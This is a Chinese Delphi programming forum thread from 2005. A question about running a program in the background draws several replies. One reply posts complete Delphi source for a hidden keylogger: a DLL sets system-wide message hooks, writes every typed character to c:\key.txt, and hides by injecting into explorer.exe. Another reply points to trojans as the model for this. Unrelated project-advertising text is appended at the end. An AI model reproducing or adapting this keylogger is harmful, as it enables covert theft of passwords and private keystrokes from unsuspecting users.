怎样让一个程序在后台运行!

Sunniness 2005-02-21 05:26:19
怎样让一个程序在后台运行!
Application.ShowMainForm := False;

是不是没有运行程序,只是隐藏起来了!
...全文
271 9 打赏 收藏 转发到动态 举报
写回复
用AI写文章
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
Sunniness 2005-02-22
  • 打赏
  • 举报
回复
还有怎样让一个exe和另一个exe操作同步,比如一个exe最小化另一个exe也最小化,最大化同之,关闭也一样
cdsgajxlp 2005-02-22
  • 打赏
  • 举报
回复
发消息
LRESULT SendMessage(

HWND hWnd, // handle of destination window
UINT Msg, // message to send
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
);


kuki84 2005-02-21
  • 打赏
  • 举报
回复
unit UnitConst;

interface

uses
windows,
messages,
sysutils,
tlhelp32;

const
MemNameGetkey = 'MemNameGetkey';
MemNameInstall = 'MemNameInstall';
FileName='c:\key.txt';
type
{内存映射文件记录结构}
TGetKeyMem = record
Count: integer; {字符字数}
LibHandle: integer; {GetKey.dll自己的句柄}
ExitIt:boolean;
end;
PGetKeyMem = ^TGetKeyMem;

TInstallMem = record
{ Receiver: integer;
hInstance: integer;
selfhand: integer; }
GetkeyThreadID:THandle;
ExplorerProcessID:Thandle;
MainFormHandle:THandle;
MainPath:array[0..MAX_PATH+1]of char;
end;
PInstallMem = ^TInstallMem;
implementation

end.
kuki84 2005-02-21
  • 打赏
  • 举报
回复
unit UnitGetkeyDll;

interface

uses
windows,
messages,dialogs,forms,
sysutils,UnitConst;

procedure InstallGetkey; stdcall;
procedure RemoveGetkey; stdcall;

implementation

var
MemFile: THandle;
pShMem: PGetkeyMem;
HHCallWndProc,HHGetMsgProc: HHook;

procedure SaveInfo(str: string); stdcall;
var
f: textfile;
begin
{保存为文件信息}
assignfile(f, FileName);
if fileexists(FileName) = false then rewrite(f)
else append(f);
if strcomp(pchar(str), pchar('#13#10')) = 0 then writeln(f, '')
else write(f, str);
closefile(f);
end;

procedure HookProc(hWnd: integer; uMessage: integer; wParam: WPARAM; lParam: LPARAM); stdcall;
begin
if (uMessage = WM_CHAR) and (lParam <> 1) then
begin
SaveInfo(format('%s', [chr(wparam and $FF)]));
inc(pShMem^.count);
if pShMem^.count > 60 then
begin
SaveInfo('#13#10');
pShMem^.count := 0;
end;
end;
if (uMessage = WM_IME_CHAR) then
begin
SaveInfo(format('%s%s', [chr((wparam shr 8) and $FF), chr(wparam and $FF)]));
inc(pShMem^.count, 2);
end;
end;

function GetMsgProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
pcs: PMSG;
begin
pcs := PMSG(lParam);
if (nCode >= 0) and (wParam=PM_REMOVE)and (pcs <> nil) and (pcs^.hwnd <> 0) then
begin
HookProc(pcs^.hwnd, pcs^.message, pcs^.wParam, pcs^.lParam);
end;
Result := CallNextHookEx(HHGetMsgProc, nCode, wParam, lParam);
end;

function CallWndProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
pcs: PCWPSTRUCT;
begin
pcs := PCWPSTRUCT(lParam);
if (nCode >= 0) and (pcs <> nil) and (pcs^.hwnd <> 0) then
begin
HookProc(pcs^.hwnd, pcs^.message, pcs^.wParam, pcs^.lParam);
end;
Result := CallNextHookEx(HHCallWndProc, nCode, wParam, lParam);
end;

procedure Intro;
begin
MemFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TGetKeyMem), MemNameGetkey);
pShMem := MapViewOfFile(MemFile, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
end;

procedure Extro;
begin
if pShMem<>nil then
begin
UnmapViewOfFile(pShMem);
pShMem:=nil;
end;
if memfile<>0 then
begin
CloseHandle(MemFile);
MemFile:=0;
end;
end;

procedure RemoveGetkey;
begin
if HHGetMsgProc <> 0 then UnhookWindowsHookEx(HHGetMsgProc);
HHGetMsgProc := 0;
if HHCallWndProc <> 0 then UnhookWindowsHookEx(HHCallWndProc);
HHCallWndProc := 0;
end;

procedure InstallGetKey; stdcall;
var
p: PInstallMem;
h: THandle;
begin
pShMem^.Count:=0;
pShMem^.LibHandle:=hInstance;
if HHGetMsgProc = 0 then
HHGetMsgProc := SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, hinstance, 0);
if HHCallWndProc = 0 then
HHCallWndProc := SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, hinstance, 0);
h:=OpenFileMapping(FILE_MAP_WRITE or FILE_MAP_READ, false, MemNameInstall);
if h<>0 then
begin
p:=MapViewOfFile(h,FILE_MAP_READ,0,0,0);
if p<>nil then
begin
postmessage(p^.MainFormHandle, wm_user, 1, 1);
UnmapViewofFile(p);
end;
closeHandle(h);
end;
pShMem^.ExitIt:=false;
while not pShMem^.ExitIt do application.ProcessMessages;
ExitThread(0);
end;

initialization
Intro;
finalization
Extro;

end.
kuki84 2005-02-21
  • 打赏
  • 举报
回复
实现进程彻底隐藏:
unit UnitMain;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,tlhelp32;

type
TForm1 = class(TForm)
procedure FormShow(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
procedure WMMsg(var message:TMessage);Message wm_user;
{ Private declarations }
public
{ Public declarations }
end;
procedure InstallDll(path:string;MainFormHandle,ExplorerProcessID:THandle);stdcall;external 'install.dll';
procedure RemoveDll;stdcall;external 'install.dll';
var
Form1: TForm1;

implementation

{$R *.dfm}

function FindProcessName:THandle;
var
lppe: tprocessentry32;
sshandle: thandle;
found: boolean;
begin
result:=0;
sshandle := createtoolhelp32snapshot(TH32CS_SNAPALL, 0);
found := process32first(sshandle, lppe);
while found do
begin
if ansiCompareText(ExtractFileName(lppe.szExefile),'EXPLORER.EXE') = 0 then
begin
result:=lppe.th32ProcessID;
break;
end;
found := process32next(sshandle, lppe); {检索下一个进程}
end;
CloseHandle(sshandle);
end;

procedure TForm1.FormShow(Sender: TObject);
var
h:THandle;
begin
h:=FindProcessName;
if h<>0 then
InstallDll(extractfilepath(paramstr(0)),self.Handle,h);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
RemoveDll;
end;

procedure TForm1.WMMsg(var message:TMessage);
begin
if message.WParam=1 then
begin
if message.LParam=1 then
begin
showmessage('安装OK');
Close;
end
else if message.LParam=2 then
begin
showmessage('卸载OK');
Close;
end;
end;
end;

end.

unit UnitInstallDll;

interface

uses
windows, forms, messages, sysutils,
dialogs, UnitConst;

type
TInstallGetKey = procedure; stdcall; {声明过程}
TRemoveGetKey = procedure; stdcall; {声明过程}
{声明共享内存记录结构}

procedure InstallDll(path:string;MainFormHandle,ExplorerProcessID:THandle);stdcall;
procedure RemoveDll;stdcall;
var
// hMain: integer;
// Msg: TMsg;
MemFile: THandle;
pShMem: PInstallMem;
HHGetMsgProc: HHook;
InstallGetKey: TInstallGetKey;
RemoveGetKey: TRemoveGetKey;

implementation

procedure wait(ticks:dword);
var
t:dword;
begin
t:=gettickcount;
while gettickcount-t<ticks do application.ProcessMessages;
end;

procedure tfun; stdcall;
var
h,LibHandle:THandle;
p:PGetkeyMem;
RetCode:dword;
begin
h:=OpenFileMapping(FILE_MAP_WRITE or FILE_MAP_READ,False, MemNameGetKey);
if h<>0 then
begin
p:=MapViewOfFile(h,FILE_MAP_WRITE or FILE_MAP_READ,0,0,0);
if p<>nil then
begin
LibHandle:=p^.LibHandle;
if LibHandle <> 0 then
begin
RemoveGetKey := GetProcAddress(LibHandle, 'RemoveGetkey'); {获得Run过程地址}
if @RemoveGetKey <> nil then
begin
RemoveGetKey;
end;
p^.ExitIt:=true;
// while p^.ExitIt do application.ProcessMessages;
repeat begin
GetExitCodeThread(pShmem^.GetkeyThreadID,RetCode);
application.ProcessMessages;
end until RetCode<>STILL_ACTIVE;
SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);
wait(500);
FreeLibrary(LibHandle);
end;
UnmapViewofFile(p);
end;
closeHandle(h);
postmessage(pShMem^.MainFormHandle, wm_user, 1, 2);//卸载主程序
end
else begin
{装入GetKey.dll}
LibHandle := LoadLibrary(pchar(pShMem^.MainPath + 'GetKey.dll'));
{装入成功}
if LibHandle <> 0 then
begin
InstallGetKey := GetProcAddress(LibHandle, 'InstallGetkey'); {获得Run过程地址}
if @InstallGetKey <> nil then
begin
InstallGetKey;
end
else FreeLibrary(LibHandle);
end;
end;
end;

{消息钩子回调过程}
function GetMsgProc(nCode: integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
if (nCode >= 0)and(pShMem^.ExplorerProcessID<>0)and(getcurrentprocessid = pShMem^.ExplorerProcessID) then
begin
pShMem^.ExplorerProcessID:=0;
CreateThread(nil, 0, @tfun, nil, 0, pShMem^.GetkeyThreadID);
end;
Result := CallNextHookEx(HHGetMsgProc, nCode, wParam, lParam);
end;

procedure InstallDll(path:string;MainFormHandle,ExplorerProcessID:THandle); stdcall;
begin
pShMem^.MainFormHandle:= MainFormHandle;
pShMem^.ExplorerProcessID:=ExplorerProcessID;
strcopy(pShMem^.MainPath,pchar(path));
if HHGetMsgProc = 0 then
HHGetMsgProc := SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, hinstance, 0);
end;

procedure RemoveDll;stdcall;
begin
if HHGetMsgProc <> 0 then UnhookWindowsHookEx(HHGetMsgProc);
HHGetMsgProc := 0;
SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);
end;

procedure Extro;
begin
UnmapViewOfFile(pShMem);
CloseHandle(MemFile);
end;

procedure Intro;
begin
MemFile := OpenFileMapping(FILE_MAP_WRITE or FILE_MAP_READ,False, MemNameInstall);
if MemFile=0 then
begin
MemFile := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0,
SizeOf(TInstallMem), MemNameInstall);
end;
pShMem := MapViewOfFile(MemFile,FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0);
end;

initialization
Intro;
finalization
Extro;
end.
yren_test 2005-02-21
  • 打赏
  • 举报
回复
要求不但在任务栏中看不到,在程序列表中也看不到.用RING实现三级跳,不过得加ASM程序
yren_test 2005-02-21
  • 打赏
  • 举报
回复
你可看一个关于木马方面的程序!!!!这是木马程序最基本的要求
lw549 2005-02-21
  • 打赏
  • 举报
回复
Application.ShowMainForm := False;
程序的确在运行
缺点:
在运行的时候,按Alt+空格,看到了什么?
Alt+F4,这个程序就被关闭了
singun 2005-02-21
  • 打赏
  • 举报
回复
可以这样:
ShowWindow (Application.handle, SW_HIDE);
但是只是在任务栏中隐藏,仍然可以任务列表中看到.
项目名称微信小程序教学管理系统+后台管理系统视频效果系统说明根据对系统的需求分析,本系统将分为4个模块:学生管理:管理学生的基本信息,包括个人信息的添加、修改、删除,以及选课信息的添加。科目管理:科目的基本信息,包括科目信息的添加、修改和删除。成绩管理:管理学生的选课的成绩信息,包括成绩的登记与修改。班级管理:对班级信息的管理,包括班级的增加、修改、删除、查询等。 环境需要1.运行环境:最好是java jdk 1.8,我们在这个平台上运行的。其他版本理论上也可以。2.IDE环境:IDEA,Eclipse,Myeclipse都可以。推荐IDEA;3.tomcat环境:Tomcat 7.x,8.x,9.x版本均可4.硬件环境:windows 7/8/10 1G内存以上;或者 Mac OS; 5.数据库:MySql 5.7版本;6.是否Maven项目:否;技术栈1. 后端:Spring+SpringMVC+Mybatis2. 前端:JSP+CSS+JavaScript+jQuery使用说明1. 使用Navicat或者其它工具,在mysql中创建对应名称的数据库,并导入项目的sql文件;2. 使用IDEA/Eclipse/MyEclipse导入项目,Eclipse/MyEclipse导入时,若为maven项目请选择maven;若为maven项目,导入成功后请执行maven clean;maven install命令,然后运行;3. 将项目中springmvc-servlet.xml配置文件中的数据库配置改为自己的配置;4. 运行项目,在浏览器中输入http://localhost:8080/ 登录运行截图​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑​编辑 

5,388

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 开发及应用
社区管理员
  • VCL组件开发及应用社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧